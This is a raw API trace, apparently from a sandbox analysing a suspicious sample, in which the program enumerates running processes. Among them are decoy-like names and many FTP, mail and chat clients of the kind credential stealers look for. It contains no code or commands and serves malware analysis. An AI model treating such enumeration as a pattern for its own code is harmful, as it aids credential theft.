	[0083.839] lstrlenW (lpString="svchost.exe") returned 11
	[0083.839] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0083.840] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0083.840] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0083.840] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0083.840] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.841] lstrlenW (lpString="svchost.exe") returned 11
	[0083.841] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0083.842] lstrlenW (lpString="dwm.exe") returned 7
	[0083.842] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.842] lstrlenW (lpString="svchost.exe") returned 11
	[0083.842] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.843] lstrlenW (lpString="svchost.exe") returned 11
	[0083.843] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.843] lstrlenW (lpString="svchost.exe") returned 11
	[0083.843] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.844] lstrlenW (lpString="svchost.exe") returned 11
	[0083.844] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.844] lstrlenW (lpString="svchost.exe") returned 11
	[0083.844] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.845] lstrlenW (lpString="svchost.exe") returned 11
	[0083.845] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.845] lstrlenW (lpString="svchost.exe") returned 11
	[0083.845] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.846] lstrlenW (lpString="svchost.exe") returned 11
	[0083.846] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.846] lstrlenW (lpString="svchost.exe") returned 11
	[0083.846] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.847] lstrlenW (lpString="svchost.exe") returned 11
	[0083.847] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0083.847] lstrlenW (lpString="spoolsv.exe") returned 11
	[0083.847] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.848] lstrlenW (lpString="svchost.exe") returned 11
	[0083.848] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0083.849] lstrlenW (lpString="audiodg.exe") returned 11
	[0083.849] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0083.849] lstrlenW (lpString="sihost.exe") returned 10
	[0083.849] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0083.850] lstrlenW (lpString="svchost.exe") returned 11
	[0083.850] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0083.850] lstrlenW (lpString="taskhostw.exe") returned 13
	[0083.850] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0083.851] lstrlenW (lpString="explorer.exe") returned 12
	[0083.851] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0083.851] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0083.852] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0083.852] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0083.852] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0083.853] lstrlenW (lpString="Memory Compression") returned 18
	[0083.853] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0083.853] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0083.853] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0083.854] lstrlenW (lpString="SearchUI.exe") returned 12
	[0083.854] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0083.854] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0083.854] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0083.855] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0083.855] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0083.855] lstrlenW (lpString="fur-hold.exe") returned 12
	[0083.855] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0083.856] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0083.856] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0083.856] lstrlenW (lpString="vat.exe") returned 7
	[0083.856] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0083.857] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0083.857] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0083.857] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0083.857] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0083.858] lstrlenW (lpString="paxiltried.exe") returned 14
	[0083.858] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0083.858] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0083.885] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0083.886] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0083.886] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0083.886] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0083.886] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0083.887] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0083.887] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0083.887] lstrlenW (lpString="ride_australian.exe") returned 19
	[0083.888] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0083.888] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0083.888] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0083.889] lstrlenW (lpString="rc remember.exe") returned 15
	[0083.889] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0083.889] lstrlenW (lpString="records replace.exe") returned 19
	[0083.889] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0083.890] lstrlenW (lpString="isp physiology.exe") returned 18
	[0083.890] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0083.890] lstrlenW (lpString="feb.exe") returned 7
	[0083.890] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0083.891] lstrlenW (lpString="citizenship.exe") returned 15
	[0083.891] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0083.891] lstrlenW (lpString="wifi.exe") returned 8
	[0083.891] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0083.892] lstrlenW (lpString="3dftp.exe") returned 9
	[0083.892] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0083.892] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0083.892] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0084.371] lstrlenW (lpString="alftp.exe") returned 9
	[0084.372] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0084.373] lstrlenW (lpString="barca.exe") returned 9
	[0084.373] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0084.374] lstrlenW (lpString="bitkinex.exe") returned 12
	[0084.374] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0084.375] lstrlenW (lpString="coreftp.exe") returned 11
	[0084.375] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0084.375] lstrlenW (lpString="far.exe") returned 7
	[0084.376] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0084.376] lstrlenW (lpString="filezilla.exe") returned 13
	[0084.376] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0084.377] lstrlenW (lpString="flashfxp.exe") returned 12
	[0084.377] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0084.378] lstrlenW (lpString="fling.exe") returned 9
	[0084.378] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0084.379] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0084.379] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0084.380] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0084.380] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0084.381] lstrlenW (lpString="icq.exe") returned 7
	[0084.381] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0084.382] lstrlenW (lpString="leechftp.exe") returned 12
	[0084.383] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0084.384] lstrlenW (lpString="ncftp.exe") returned 9
	[0084.384] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0084.385] lstrlenW (lpString="notepad.exe") returned 11
	[0084.385] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0084.385] lstrlenW (lpString="operamail.exe") returned 13
	[0084.385] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0084.386] lstrlenW (lpString="pidgin.exe") returned 10
	[0084.386] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0084.387] lstrlenW (lpString="scriptftp.exe") returned 13
	[0084.387] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0084.388] lstrlenW (lpString="skype.exe") returned 9
	[0084.388] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0084.389] lstrlenW (lpString="smartftp.exe") returned 12
	[0084.389] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0084.390] lstrlenW (lpString="thunderbird.exe") returned 15
	[0084.390] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0084.391] lstrlenW (lpString="totalcmd.exe") returned 12
	[0084.391] Process32NextW (in: hSnapshot=0x354, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0084.392] lstrlenW (lpString="trillian.exe") returned 12
